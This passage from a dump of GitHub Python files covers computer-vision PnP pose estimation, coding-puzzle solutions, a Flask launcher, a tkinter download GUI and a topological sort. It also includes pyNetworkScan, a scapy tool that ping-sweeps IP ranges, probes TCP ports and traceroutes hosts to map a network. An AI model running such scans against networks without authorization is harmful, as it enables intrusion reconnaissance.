containing 3d points in the camera coordinate\n\n Returns:\n r: rotation matrix of the camera\n t: translation of the camera\n \"\"\"\n us = np.mean(points_s, axis=0, keepdims=True)\n ut = np.mean(points_t, axis=0, keepdims=True)\n points_s_center = points_s - us\n points_t_center = points_t - ut\n w = np.dot(points_s_center.T, points_t_center)\n u, s, vt = np.linalg.svd(w)\n r = vt.T.dot(u.T)\n if np.linalg.det(r) < 0:\n vt[-1, :] *= -1\n r = vt.T.dot(u.T)\n t = ut.T - np.dot(r, us.T)\n return r, t\n\ndef reconstruct_3d(X, K, points2d):\n \"\"\"\n Reconstruct the 3d points from camera-point distance\n\n Args:\n X: a list containing camera-object distances for all points\n K: intrinsics of camera\n points2d: 10x1x3 array containing 2d coordinates of points in the homogeneous coordinate\n\n Returns:\n points3d_c: 3d coordinates of all points in the camera coordinate\n \"\"\"\n points3d_c = []\n for i in range(len(X)):\n points3d_c.append(X[i] * np.dot(np.linalg.inv(K), points2d[i].T))\n points3d_c = np.hstack(points3d_c)\n return points3d_c\n\n\ndef visualize(r, t, points3d, points2d, K):\n \"\"\"\n Visualize reprojections of all 3d points in the image and compare with ground truth\n\n Args:\n r: rotation matrix of the camera\n t: tranlation of the camera\n points3d: 10x3 array containing 3d coordinates of points in the world coordinate\n points3d: 10x2 array containing ground truth 2d coordinates of points in the image space\n \"\"\"\n scale = 0.2\n img = cv2.imread('data/img_id4_ud.JPG')\n dim = (int(img.shape[1]*scale), int(img.shape[0]*scale))\n img = cv2.resize(img, dim)\n trans = np.hstack([r, t])\n points3d_homo = np.hstack([points3d, np.ones((points3d.shape[0], 1))])\n points2d_re = np.dot(K, np.dot(trans, points3d_homo.T))\n points2d_re = np.transpose(points2d_re[:2, :]/points2d_re[2:3, :])\n\n for j in range(points2d.shape[0]):\n cv2.circle(img, (int(points2d[j, 0]*scale), int(points2d[j, 1]*scale)), 3, (0, 0, 255))\n cv2.circle(img, (int(points2d_re[j, 0]*scale), int(points2d_re[j, 1]*scale)), 4, (255, 0, 0))\n cv2.imshow('img', img)\n\n cv2.waitKey(0)\n\n\ndef calc_squared_distance(p1, p2):\n dist = pow(p1[0][0] - p2[0][0], 2) + pow(p1[0][1] - p2[0][1], 2) + pow(p1[0][2] - p2[0][2], 2)\n return dist\n\n\ndef calc_cosine_angle(u1, u2, f):\n u1 = u1.flatten()\n u2 = u2.flatten()\n\n j1 = np.append(u1, np.array([f]), axis=0)\n j2 = np.append(u2, np.array([f]), axis=0)\n j1 = j1 / pow(pow(j1[0], 2) + pow(j1[1], 2) + pow(j1[2], 2), 0.5)\n j2 = j2 / pow(pow(j2[0], 2) + pow(j2[1], 2) + pow(j2[2], 2), 0.5)\n cosine_angle = np.dot(j1, j2)\n return cosine_angle\n\n\ndef to_homo_2d(points2d):\n points2d_ones = np.ones((10, 1, 1))\n points2d_homo = np.concatenate((points2d, points2d_ones), axis=2)\n return points2d_homo\n\n\ndef calc_s(choice, points2d, points3d, f):\n p1 = points3d[choice]\n q1 = points2d[choice]\n A = []\n counter = 0\n # Pick 3 points, with choice included\n for i in range(0, len(points3d)):\n if i == choice:\n continue\n for ii in range(i, len(points3d)):\n if ii == i or ii == choice:\n continue\n p2 = points3d[i]\n p3 = points3d[ii]\n q2 = points2d[i]\n q3 = points2d[ii]\n\n d12 = calc_squared_distance(p1, p2)\n d23 = calc_squared_distance(p2, p3)\n d13 = calc_squared_distance(p1, p3)\n\n cos_theta_12 = calc_cosine_angle(q1, q2, f)\n cos_theta_23 = calc_cosine_angle(q2, q3, f)\n cos_theta_13 = calc_cosine_angle(q1, q3, f)\n x1, x2, x3 = sym.symbols('x1, x2, x3')\n a = extract_coeff(x1, x2, x3, cos_theta_12, cos_theta_23, cos_theta_13, d12, d23, d13)\n A.append(list(a))\n counter += 1\n A = np.asarray(A).astype(np.float32)\n u, s, vh = np.linalg.svd(A, full_matrices=True)\n t = vh[-1]\n s = pow(((t[1] / t[0] + t[2] / t[1] + t[3] / t[2] + t[4] / t[3]) / 4), 0.5)\n return s\n\n\ndef pnp_algo(K, points2d_og, points3d_og):\n points2d = np.ndarray.copy(points2d_og)\n points3d = np.ndarray.copy(points3d_og)\n \"\"\"\n Estimate the rotation and translation of camera by using pnp algorithm\n\n Args:\n K: intrinsics of camera\n points2d: 10x1x2 array containing 2d coordinates of points in the image space\n points2d: 10x1x3 array containing 3d coordinates of points in the world coordinate\n Returns:\n r: 3x3 array representing rotation matrix of the camera\n t: 3x1 array representing translation of the camera\n \"\"\"\n \"\"\"YOUR CODE STARTS HERE\"\"\"\n f = K[0][0]\n\n # Covert 2D points to camera centre as reference point\n for i in range(len(points2d)):\n points2d[i][0][0] -= K[0][2]\n points2d[i][0][1] -= K[1][2]\n\n s_values = []\n for choice in range(0, 10):\n s_values.append(calc_s(choice, points2d, points3d, f))\n\n # s_values = find_s_values(s_1, points2d, points3d, f)\n # print(s_values)\n\n for i in range(len(points2d)):\n points2d[i][0][0] += K[0][2]\n points2d[i][0][1] += K[1][2]\n\n points2d_homo = to_homo_2d(points2d)\n\n points3d_reconstruct = reconstruct_3d(s_values, K, points2d_homo).astype(float)\n\n r, t = icp(np.squeeze(points3d), np.squeeze(points3d_reconstruct).T)\n # \"\"\"YOUR CODE ENDS HERE\"\"\"\n return r, t\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"ChewKinWhye/3D-Computer-Vision","sub_path":"lab3/pnp_algo/pnp.py","file_name":"pnp.py","file_ext":"py","file_size_in_byte":7022,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"9750762534","text":"with open(\"Day 3/input.in\", \"r\") as f:\n data = f.readlines()\n\ndef getSame(s1, s2, s3):\n for l in s1:\n if l in s2 and l in s3:\n return l\n\ndef getValue(l):\n if l.islower():\n return ord(l) - 96\n else:\n return ord(l) - 38\n \nsum = 0\ni = 0\n\nwhile i + 2 < len(data):\n sum += getValue(getSame(data[i], data[i + 1], data[i + 2]))\n i += 3\n\nprint(sum)","repo_name":"dv-nt/Advent-of-Code-2022","sub_path":"Day 3/puzzle1.py","file_name":"puzzle1.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"1590391915","text":"# -*-coding:utf-8-*-\n\n\nclass Solution:\n # @return a tuple, (index1, index2)\n def twoSum(self, number, target):\n dict = {}\n for i in range(len(number)):\n x = number[i]\n if target - x in dict:\n return (dict[target - x], i)\n dict[x] = i\n\n\n","repo_name":"luanshiyinyang/LeetCode","sub_path":"0001-Two Sum.py","file_name":"0001-Two Sum.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"39512489306","text":"import xmltodict\nimport pprint\nfrom scapy.all import *\nfrom scapy.layers.inet import IP, ICMP, TCP\nfrom collections import OrderedDict\nimport pygraphviz as pgv\nimport socket\nimport numpy as np\nfrom multiprocessing.pool import Pool\nimport multiprocessing\nfrom tqdm import tqdm\nfrom functools import partial\nimport contextlib\nimport os\nimport argparse\nimport json\n\nthisip=\"\"\nallhops = []\nhostsAndHops = dict()\n\nSCAN_TO = 2\nSCAN_PROC = 25\nPORT_TO = 2\nPORT_PROC = 100\nTRACE_TO = 4\nTRACE_PROC = 4\nTRACE_HOPS = 6\n\n\ndef read_xml(file_name):\n with open(file_name) as file:\n return xmltodict.parse(file.read())\n\ndef getMyIP():\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n s.connect((\"8.8.8.8\", 80))\n myip = s.getsockname()[0]\n s.close()\n return myip\n\ndef get_xml_scanned_hosts(scan_dict, net=\"\"):\n scanned_hosts = {}\n\n for host in scan_dict['nmaprun']['host']:\n address = host['address']['@addr'] if type(host['address']) is not list else host['address'][0]['@addr']\n ports = host['ports']['port'] if \"port\" in host['ports'] else []\n\n open_ports = get_open_ports(ports)\n\n scanned_hosts[address] = {\"theports\": open_ports, \"parentIP\": None}\n\n return scanned_hosts\n\n\ndef get_open_ports(ports):\n open_ports = {}\n\n if isinstance(ports, list):\n for port in ports:\n open_ports[port.get('@portid')] = port.get('service').get('@name')\n else:\n open_ports[ports['@portid']] = ports['service']['@name']\n\n return open_ports\n\n\n\ndef tracert(host):\n ans, unans = sr(IP(dst=host, ttl=(1,TRACE_HOPS))/ICMP(), timeout=TRACE_TO, verbose=0, retry=4)\n hops=[]\n \n with open(os.devnull, 'w') as devnull:\n with contextlib.redirect_stdout(devnull):\n ans.summary(lambda s, r : hops.append(str(r.sprintf(\"%IP.src%\"))))\n \n hops = list(dict.fromkeys(hops))\n hops.insert(0, thisip)\n hops.insert(-1, host[:host.rfind(\".\")]+ \".0\")\n return (host,hops)\n \n \n\ndef perform_traceroute(scanned_hosts):\n \n with multiprocessing.Pool(processes=TRACE_PROC) as p:\n with tqdm(total=len(scanned_hosts), unit=\"Traces\") as trace_pbar:\n trace_pbar.set_description(\"Performing trace route: \") \n for x in p.imap_unordered(tracert, scanned_hosts.keys()):\n # print(f'{x[0]} {x[1]}')\n\n scanned_hosts[str(x[0])][\"parentIP\"] = x[1]\n trace_pbar.update()\n \n return scanned_hosts\n\ndef get_random_hex_color():\n color = list(np.random.choice(range(40,225),size=3))\n return '#{:02x}{:02x}{:02x}'.format(color[0], color[1], color[2])\n \ndef gen_ip_list(ip_range_str=\"192.168.0-15.1-150\"):\n ip_list = []\n\n octets = ip_range_str.split(\".\")\n for o in octets:\n if \",\" in o:\n comma_separated_ranges = o.split(\",\")\n values = []\n for r in comma_separated_ranges:\n if \"-\" in r:\n start, end = map(int, r.split(\"-\"))\n values.extend(list(range(start, end + 1)))\n else:\n values.append(int(r))\n ip_list.append(values)\n elif \"-\" in o:\n start, end = map(int, o.split(\"-\"))\n ip_list.append(list(range(start, end + 1)))\n else:\n ip_list.append([int(o)])\n\n return ['.'.join(map(str, ip)) for ip in itertools.product(*ip_list)]\n\n\n\ndef create_network_graph(scanned_hosts, filename=\"all\"):\n graph = pgv.AGraph(overlap=False, splines=\"ortho\", directed=True, rankdir=\"TB\", strict=False)\n \n\n for host, data in scanned_hosts.items():\n parent_node = data[\"parentIP\"]\n \n\n formatedPorts = {'
    ' + str(key) + ':' + str(value) for key, value in data['theports'].items()} \n # \n\n nlist = parent_node\n path_color = get_random_hex_color()\n for level, value in enumerate(parent_node):\n graph.add_node(value, label=f\"IP: {value}\", shape='rectangle', row=level)\n \n graph.add_node(host, label=f\"\", shape='rectangle', color=f\"{path_color}\", row=len(parent_node)-1) \n #graph.add_path(list(parent_node))\n if len(nlist) > 1:\n fromv = nlist.pop(0)\n \n while len(nlist) > 0:\n tov = nlist.pop(0)\n # lastHop[:lastHop.rfind(\".\")]\n \n if len(graph.in_edges((fromv,tov))) < 7:\n if graph.has_edge(fromv,tov, key=f\"{fromv}_{tov}\") == False:\n \n graph.add_edge(fromv, tov, key=f\"{fromv}_{tov}_{host}\", color=f\"{path_color}\")\n else:\n if graph.has_edge(fromv, tov):\n graph.remove_edges_from(graph.in_edges(tov))\n graph.add_edge(fromv, tov, key=f\"{fromv}_{tov}\", penwidth=\"4\", color=\"blue\")\n\n fromv = tov\n graph.layout(\"dot\")\n graph.draw(f\"graph_{filename}.svg\")\n return scanned_hosts\n \n\ndef is_up(ip):\n icmp = IP(dst=ip)/ICMP()\n resp = sr1(icmp, timeout=SCAN_TO, verbose=0)\n \n if resp == None:\n return (ip, False)\n else:\n #print(f\"{ip} is UP\")\n return (ip, True)\n\ndef get_live_hosts(ipList): #zero\n ips = set()\n with multiprocessing.Pool(processes=SCAN_PROC) as p:\n with tqdm(total=len(ipList), unit=\"Hosts\") as pbar:\n for x in p.imap_unordered(is_up, ipList):\n if x[1] == True:\n \n ips.add(x[0])\n pbar.set_description(f\"Found {len(ips)} hosts.\")\n pbar.update()\n p.close()\n p.join()\n return list(ips)\n\ndef check_port(hostandport):\n\n packet = IP(dst=str(hostandport[0]))/TCP(dport=int(hostandport[1]))\n \n resp = sr1(packet, verbose=0, timeout=PORT_TO)\n if resp is not None and resp.haslayer(TCP) and resp.getlayer(TCP).flags==0x12:\n return (hostandport[0], hostandport[1], True)\n else:\n return (hostandport[0], hostandport[1], False)\n\ndef get_scan_hosts_ports(liveHostList, top_ports=1000): \n scanned_hosts = {}\n \n for lh in liveHostList:\n scanned_hosts[str(lh)] = {\"theports\": {}, \"parentIP\": []}\n \n\n ports = load_ports_file(\"theports.txt\", top_ports)\n # pprint.pprint(ports)\n hostports = []\n for h in liveHostList:\n for p in ports.keys():\n hostports.append((h,p))\n \n openPorts = {}\n with multiprocessing.Pool(processes=PORT_PROC) as p:\n with tqdm(total=len(hostports), unit=\"Ports\", leave=True, position=0) as host_pbar:\n host_pbar.set_description(\"Ports scan: \")\n for x in p.imap_unordered(check_port, hostports):\n \n if x[2]==True:\n \n \n\n scanned_hosts[f'{x[0]}'][\"theports\"][str(x[1])]=ports[f'{x[1]}']\n\n host_pbar.update()\n \n p.close()\n p.join()\n\n\n return scanned_hosts\n \n \n \n\n\ndef load_ports_file(infile=\"theports.txt\", top_ports=1000): #1st\n ports = dict()\n with open(infile, \"r\") as line:\n for l in line.readlines()[0:top_ports]:\n theline = l.strip().split(\",\")\n ports[theline[1]] = theline[0]\n return ports\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description=\"Network Tracer and Port Scanner\")\n parser.add_argument(\"-x\", \"--xml\", type=str, help=\"Specify the Nmap generated XML input file ie: outputscan.xml. This will use the values from this file skipping a manual scan.\")\n parser.add_argument(\"-i\", \"--ip_range\", type=str, help=\"Specify the IP range for scan. You can use , or - to specify the range ie: 192.168.0-5.10-20,50-100\")\n parser.add_argument(\"-p\", \"--num_ports\", type=int, default=1000, help=\"Specify the top number of common ports (1 to 8366) to scan when doing a manual scan, default: 1000\")\n parser.add_argument(\"-o\", \"--output\", default=\"output_scan.json\" , type=str, help=\"save network map to json file, default: output_scan.json\")\n parser.add_argument(\"-st\", \"--scan_timeout\", type=int, default=2, help=\"set the timeout for the network scan before giving up and going to the next one\")\n parser.add_argument(\"-sp\", \"--scan_procs\", type=int, default=25, help=\"set the number parallel tasks to scan for hosts\")\n parser.add_argument(\"-pt\", \"--port_timeout\", type=int, default=2, help=\"set the timeout for the port scan before giving up and going to the next one\")\n parser.add_argument(\"-pp\", \"--port_procs\", type=int, default=100, help=\"set the number parallel tasks to scan for hosts\")\n parser.add_argument(\"-tt\", \"--trace_timeout\", type=int, default=4, help=\"set the timeout when performing a trace route before giving up and going to the next one\")\n parser.add_argument(\"-tp\", \"--trace_procs\", type=int, default=4, help=\"set the number parallel tasks to scan for trace routing\")\n parser.add_argument(\"-th\", \"--trace_hops\", type=int, default=6, help=\"set the number of hops for the trace route\")\n\n args = parser.parse_args()\n\n scanned_hosts = dict()\n \n SCAN_TO = args.scan_timeout\n SCAN_PROC = args.scan_procs\n PORT_TO = args.port_timeout\n PORT_PROC = args.port_procs\n TRACE_TO = args.trace_timeout\n TRACE_PROC = args.trace_procs\n TRACE_HOPS = args.trace_hops\n\n if args.xml:\n scan_dict = read_xml(args.xml)\n thisip= getMyIP()\n scanned_hosts = get_xml_scanned_hosts(scan_dict)\n \n elif args.ip_range:\n thisip= getMyIP()\n liveHosts = get_live_hosts(gen_ip_list(args.ip_range))\n scanned_hosts = get_scan_hosts_ports(liveHosts, args.num_ports)\n\n \n scanned_hosts = perform_traceroute(scanned_hosts)\n if args.output:\n print(f\"saving to {args.output}\")\n with open(str(args.output), 'w') as fout:\n json.dump(scanned_hosts, fout, indent=2) \n \n\n scanned_hosts = create_network_graph(scanned_hosts)\n \n\n\n\n \n","repo_name":"s4d0l1n/pyNetworkScan","sub_path":"pyNetworkScan.py","file_name":"pyNetworkScan.py","file_ext":"py","file_size_in_byte":9991,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"} +{"seq_id":"34608936726","text":"from project.config import DevelopmentConfig\nfrom project.dao.models import Genre, User, Director, Movie\nfrom project.server.server import create_app, db\n\napp = create_app(DevelopmentConfig)\n\n\n@app.shell_context_processor\ndef shell():\n return {\n \"db\": db,\n \"Genre\": Genre,\n \"User\": User,\n \"Director\": Director,\n \"Movie\": Movie,\n }\n\n\nif __name__ == '__main__':\n app.run(port=8000)","repo_name":"skypro-008/all_solutions","sub_path":"course_4/result_coursework/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"30986235852","text":"try:\n import tkinter as tk\n from tkinter.ttk import Progressbar\nexcept ImportError:\n import Tkinter as tk\n from Tkinter.ttk import Progressbar\nimport threading\nimport subprocess, os, sys\nfrom PIL import Image, ImageTk\nfrom download_handler import services\nimport math\n\nclass Run_gui:\n def __init__(self, site, settings, imgicon=None):\n self.site = site\n self.settings = settings\n self.imgicon = imgicon\n self.downloaded = {}\n self.error = False\n self.finished_running = False\n\n def start(self):\n self.create_gui()\n self.cycle_images()\n self.services = services(self.site, self.settings, self)\n threading.Thread(target=self.run_services).start()\n self.mainloop()\n\n def run_services(self):\n self.services.run()\n\n def create_gui(self):\n self.stopevent = False\n self.bg_color = '#e6e6ff'\n font = ('calibri', 13)\n self.top = tk.Toplevel(bg=self.bg_color)\n self.top.title(\"Run status\")\n self.top.wm_protocol(\"WM_DELETE_WINDOW\", self.on_close)\n self.top.resizable(False, False)\n\n self.downloadingFrame = tk.Frame(self.top, bg=self.bg_color)\n self.listFrame = tk.Frame(self.top, bg=self.bg_color)\n\n self.downloadingFrame.pack()\n self.listFrame.pack()\n\n pady = 10\n padx = 10\n self.dFrame1 = tk.Frame(self.downloadingFrame, bg=self.bg_color)\n self.dFrame2 = tk.Frame(self.downloadingFrame, bg=self.bg_color)\n self.dFrame3 = tk.Frame(self.downloadingFrame, bg=self.bg_color)\n\n self.dFrame1.pack(pady=pady, padx=padx)\n self.dFrame2.pack(pady=pady, padx=padx)\n self.dFrame3.pack(pady=pady, padx=padx)\n\n self.dFrame3_1 = tk.Frame(self.dFrame3, bg=self.bg_color)\n self.dFrame3_2 = tk.Frame(self.dFrame3, bg=self.bg_color)\n self.dFrame3_3 = tk.Frame(self.dFrame3, bg=self.bg_color)\n self.dFrame3_4 = tk.Frame(self.dFrame3, bg=self.bg_color)\n self.dFrame3_5 = tk.Frame(self.dFrame3, bg=self.bg_color)\n\n self.dFrame3_1.pack(side='left')\n self.dFrame3_2.pack(side='left')\n self.dFrame3_3.pack(side='left')\n self.dFrame3_4.pack(side='left')\n self.dFrame3_5.pack(side='left')\n\n self.dFrame3_1_1 = tk.Frame(self.dFrame3_1, bg=self.bg_color)\n self.dFrame3_1_2 = tk.Frame(self.dFrame3_1, bg=self.bg_color)\n\n self.dFrame3_1_1.pack()\n self.dFrame3_1_2.pack()\n\n self.lFrame1 = tk.Frame(self.listFrame, bg=self.bg_color)\n self.lFrame2 = tk.Frame(self.listFrame, bg=self.bg_color)\n self.lFrame3 = tk.Frame(self.listFrame, bg=self.bg_color)\n\n self.lFrame1.pack(side='left', padx=padx, pady=pady)\n self.lFrame2.pack(side='left', pady=pady)\n self.lFrame3.pack(side='left', padx=padx, pady=pady)\n\n\n width = 130\n #downloadingFrame children\n file = os.path.join('textures', 'a.png')\n img = ImageTk.PhotoImage(Image.open(file))\n l = tk.Label(self.dFrame1, image=img, bg=self.bg_color)\n l.photo=img\n l.pack(side='left')\n self.actionLabel = tk.Label(self.dFrame1, text='Now downloading...', bg=self.bg_color, font=('calibri', 13))\n self.actionLabel.pack(side='left')\n file = os.path.join('textures', 'b.png')\n img = ImageTk.PhotoImage(Image.open(file))\n l = tk.Label(self.dFrame1, image=img, bg=self.bg_color)\n l.photo=img\n l.pack(side='left')\n\n skip_button_width = 10\n url_label_width = int(width - skip_button_width - padx/2)\n self.urlLabel = tk.Label(self.dFrame2, borderwidth= 3, relief='groove', bg=self.bg_color, width=url_label_width, anchor='w')\n self.urlLabel.pack(side=\"left\")\n tk.Button(self.dFrame2, text=\"Skip\", width=skip_button_width, command=self.on_skip).pack(side=\"left\", padx=padx)\n\n w1 = int(width/3)\n w11 = int(w1/2)\n w12 = w1 - w11\n w2 = int((width-w1)/4)\n w3 = w4 = w2\n w5 = width - w1 - w2 - w3 -w4\n tk.Label(self.dFrame3_1_1, borderwidth= 0, relief='solid', text='Progress:', bg=self.bg_color, width=w11, anchor='w').pack(side='left')\n self.percLabel = tk.Label(self.dFrame3_1_1, borderwidth= 0, relief='solid', text='00.0%', bg=self.bg_color, width=w12, anchor='e')\n self.percLabel.pack(side='right')\n tk.Label(self.dFrame3_2, borderwidth= 0, relief='solid', text='Time left', bg=self.bg_color, width=w2).pack()\n tk.Label(self.dFrame3_3, borderwidth= 0, relief='solid', text='Speed', bg=self.bg_color, width=w3).pack()\n tk.Label(self.dFrame3_4, borderwidth= 0, relief='solid', text='Downloaded', bg=self.bg_color, width=w4).pack()\n tk.Label(self.dFrame3_5, borderwidth= 0, relief='solid', text='Total size', bg=self.bg_color, width=w5).pack()\n\n w1 = math.floor(w1*7.17) #convert width to progress length\n self.progress = tk.IntVar()\n Progressbar(self.dFrame3_1_2, orient=tk.HORIZONTAL, length=w1, mode='determinate', variable=self.progress).pack(side='left')\n self.timeLeftLabel = tk.Label(self.dFrame3_2, borderwidth= 0, relief='solid', text='0 Seconds', bg=self.bg_color, width=w2)\n self.timeLeftLabel.pack()\n self.speedLabel = tk.Label(self.dFrame3_3, borderwidth= 0, relief='solid', text='0.0 KB/s', bg=self.bg_color, width=w3)\n self.speedLabel.pack()\n self.downloadedLabel = tk.Label(self.dFrame3_4, borderwidth= 0, relief='solid', text='0.0 KB', bg=self.bg_color, width=w4)\n self.downloadedLabel.pack()\n self.sizeLabel = tk.Label(self.dFrame3_5, borderwidth= 0, relief='solid', text='0.0 KB', bg=self.bg_color, width=w5)\n self.sizeLabel.pack()\n\n #listFrame children\n wlist = int(width/2.5)\n wimg = width - 2*wlist\n hlist = int(width/5.5)\n tk.Label(self.lFrame1, text='List of urls to download:', font=font, bg=self.bg_color).pack()\n scrollbar = tk.Scrollbar(self.lFrame1)\n scrollbar.pack(side='right', fill=tk.Y)\n self.urlslistbox = tk.Listbox(self.lFrame1, width=wlist, height=hlist)\n self.urlslistbox.pack()\n self.urlslistbox.config(yscrollcommand=scrollbar.set)\n scrollbar.config(command=self.urlslistbox.yview)\n self.openfolderLabel = tk.Label(self.lFrame2, text='Open download folder', font=font, bg=self.bg_color)#pack on complete\n self.openfolderButton = tk.Button(self.lFrame2, bg=self.bg_color,\n activebackground=self.bg_color, command=self.open_download_path)#pack on complete\n self.animationLabel = tk.Label(self.lFrame2, bg=self.bg_color)\n self.animationLabel.pack()\n tk.Label(self.lFrame3, text='List of downloaded files:', font=font, bg=self.bg_color).pack()\n scrollbar = tk.Scrollbar(self.lFrame3)\n scrollbar.pack(side='right', fill=tk.Y)\n self.listbox = tk.Listbox(self.lFrame3, width=wlist, height=hlist)\n self.listbox.pack()\n self.listbox.config(yscrollcommand=scrollbar.set)\n self.listbox.bind('', self.mouse_click)\n self.listbox.bind('', self.mouse_click)\n scrollbar.config(command=self.listbox.yview)\n\n self.load_animation(wimg, hlist)\n\n def load_animation(self, width, height):\n self.images = []\n self.imgIndex = 0\n width = int(width*9)\n height = int(width*1.5)\n path = os.path.join('textures', 'animation')\n files = [os.path.join(path,f) for f in os.listdir(path) if os.path.isfile(os.path.join(path, f))]\n files = sorted(files)\n for file_ in files:\n image = Image.open(file_)\n image = image.resize((width, height), Image.ANTIALIAS)\n self.images.append(ImageTk.PhotoImage(image))\n self.animationLabel.config(image=self.images[0])\n file_ = os.path.join('textures', 'completed.png')\n self.completedImg = ImageTk.PhotoImage(Image.open(file_))\n file_ = os.path.join('textures', 'error.png')\n self.errorImg = ImageTk.PhotoImage(Image.open(file_))\n\n def size_to_str(self, size):\n if size > 10**6:\n return str(round(size/10**6, 2)) + ' MB'\n return str(round(size/10**3, 2)) + ' KB'\n\n def sec_to_time_str(self, sec):\n if sec > 3600:\n return str(round(sec / 3600, 2)) + ' Hours'\n if sec > 60:\n return str(round(sec / 60, 2)) + ' Minutes'\n return str(round(sec, 1)) + ' Seconds'\n\n def set_stopevent(self, files=0, size=0, time=0):\n #Replaces the download frames with info frames and sets stopevent\n self.stopevent = True\n for frame in self.dFrame3.winfo_children():\n for label in frame.winfo_children():\n label.destroy()\n tk.Label(self.dFrame3_1, text='Run time', bg=self.bg_color).pack()\n tk.Label(self.dFrame3_1, text=self.sec_to_time_str(time), bg=self.bg_color).pack()\n tk.Label(self.dFrame3_3, text='Total download size', bg=self.bg_color).pack()\n tk.Label(self.dFrame3_3, text=self.size_to_str(size), bg=self.bg_color).pack()\n tk.Label(self.dFrame3_5, text='File count', bg=self.bg_color).pack()\n tk.Label(self.dFrame3_5, text=str(files), bg=self.bg_color).pack()\n self.urlLabel['anchor'] = 'center'\n\n def get_next_image(self):\n self.imgIndex = self.imgIndex + 1\n if self.imgIndex == len(self.images):\n self.imgIndex = 0\n return self.images[self.imgIndex]\n\n def cycle_images(self):\n img = self.get_next_image()\n self.animationLabel.config(image=img)\n if not self.stopevent:\n self.top.after(80, self.cycle_images)\n elif self.error:\n self.animationLabel.config(image=self.errorImg)\n else:\n self.animationLabel.pack_forget()\n self.openfolderButton.pack()\n self.openfolderLabel.pack()\n self.openfolderButton.config(image=self.completedImg)\n\n def update_values(self, url=None, dl='0.0', perc='', size='0.0', eta='', speed='', action='Now downloading...'):\n dl = float(dl)\n size = float(size)\n if size != 0:\n self.progress.set(int(dl*100/size))\n if url:\n self.urlLabel['text'] = self.tk_str(url)\n self.percLabel['text'] = perc\n self.sizeLabel['text'] = self.size_to_str(size)\n self.downloadedLabel['text'] = self.size_to_str(dl)\n self.timeLeftLabel['text'] = eta\n self.speedLabel['text'] = speed\n self.actionLabel['text'] = self.tk_str(action)\n\n def update_action(self, text):\n self.actionLabel['text'] = self.tk_str(text)\n\n def add_to_list(self, path, replace=False):\n name = os.path.basename(path)\n self.downloaded[name] = path\n if replace:\n self.listbox.delete(tk.END)\n name = self.tk_str(name)\n self.listbox.insert(tk.END, name)\n\n def add_to_urls(self, urls):\n for url in urls:\n self.urlslistbox.insert(tk.END, url)\n\n def remove_from_urls(self, url):\n self.urlslistbox.delete(0)\n\n def mouse_click(self, event):\n w = event.widget\n index = int(w.curselection()[0])\n name = w.get(index)\n try:\n path = self.downloaded[name]\n if sys.platform.startswith('darwin'):\n subprocess.call(('open', path))\n elif os.name == 'nt': # For Windows\n os.startfile(path)\n elif os.name == 'posix': # For Linux, Mac, etc.\n subprocess.call(('xdg-open', path))\n except:\n pass\n\n def open_download_path(self):\n self.services.open_path()\n\n def show_error(self, msg):\n self.error = True\n self.set_stopevent()\n self.actionLabel['text'] = msg\n\n def on_skip(self):\n self.services.skip = True\n\n def on_close(self):\n self.services.stop()\n if self.services.finished_running:\n self.finished_running = True\n self.top.destroy()\n else:\n self.top.after(10, self.on_close)\n\n def mainloop(self):\n if self.imgicon:\n self.top.tk.call('wm', 'iconphoto', self.top._w, self.imgicon)\n tk.mainloop()\n\n def tk_str(self, input_str):\n char_list = [input_str[i] for i in range(len(input_str)) if ord(input_str[i]) in range(65536)]\n tk_str = ''\n for ch in char_list:\n tk_str = tk_str + ch\n return tk_str\n\nif __name__ == '__main__':\n site = 'https://www.stackoverflow.com/'\n site = 'http://cs.lth.se/edan20/'\n site = 'https://www.youtube.com/watch?v=zmr2I8caF0c' #small\n path = \".\"\n extensive = False\n img_types = ['jpg', 'jpeg', 'png', 'gif', 'svg']\n doc_types = ['txt', 'py', 'java', 'php', 'pdf', 'md', 'gitignore', 'c']\n vid_types = ['mp4', 'avi', 'mpeg', 'mpg', 'wmv', 'mov', 'flv', 'swf', 'mkv', '3gp', 'webm', 'ogg']\n aud_types = ['mp3', 'aac', 'wma', 'wav', 'm4a']\n img_settings = {'run':True, 'img_types':img_types}\n doc_settings = {'run':True, 'doc_types':doc_types}\n vid_settings = {'run':True, 'vid_types':vid_types, 'format':'best'}\n aud_settings = {'run':True, 'aud_types':aud_types}\n dev_settings = {'run':True}\n settings = {'path':path, 'extensive':extensive,'images':img_settings, 'documents':doc_settings, 'videos':vid_settings, 'audios':aud_settings, 'dev':dev_settings}\n run = Run_gui(site, settings)\n run.create_gui()\n run.cycle_images()\n run.mainloop()\n","repo_name":"ahmed91abbas/wedi","sub_path":"run_gui.py","file_name":"run_gui.py","file_ext":"py","file_size_in_byte":13514,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"36690068746","text":"# a: 0, b: 1, c: 2, d:3, e:4, f:5, g:6, x:7\n\n\n# 1. korak: Preberi podatke in \n# jih spravi v obliko s katero lahko delaš\n\n# Za vsako vozlišče kaže na id-je njegovih naslednikov\ngraf = [\n [1, 2] , # a: 0\n [3, 4] , # b: 1\n [3, 5] , # c: 2\n [4,] , # d: 3\n [] , # e: 4\n [6, 4] , # f: 5\n [] , # g: 6\n [2, ] , # x: 7\n]\n\n# 2. korak: Poračunamo kje naj začnemo\n# Za vsako vozlišče (za vsak id od [0 do len(graf)-1]) v grafu si bomo poračunali \n# koliko jih kaže nanj\n\nindeg = []\n\nfor j in range(len(graf)):\n indeg.append(0)\n\nfor vozlice in graf:\n for kaze_na in vozlice:\n indeg[kaze_na] += 1\n\nprint(indeg)\n\n# 3. korak \n\nnule = []\n\nfor j in range(len(indeg)):\n\n if indeg[j] == 0:\n nule.append(j)\n\nprint(nule)\nposortirano = []\n\nwhile len(nule) != 0:\n \n trenutni = nule.pop() # Enega vzamemo 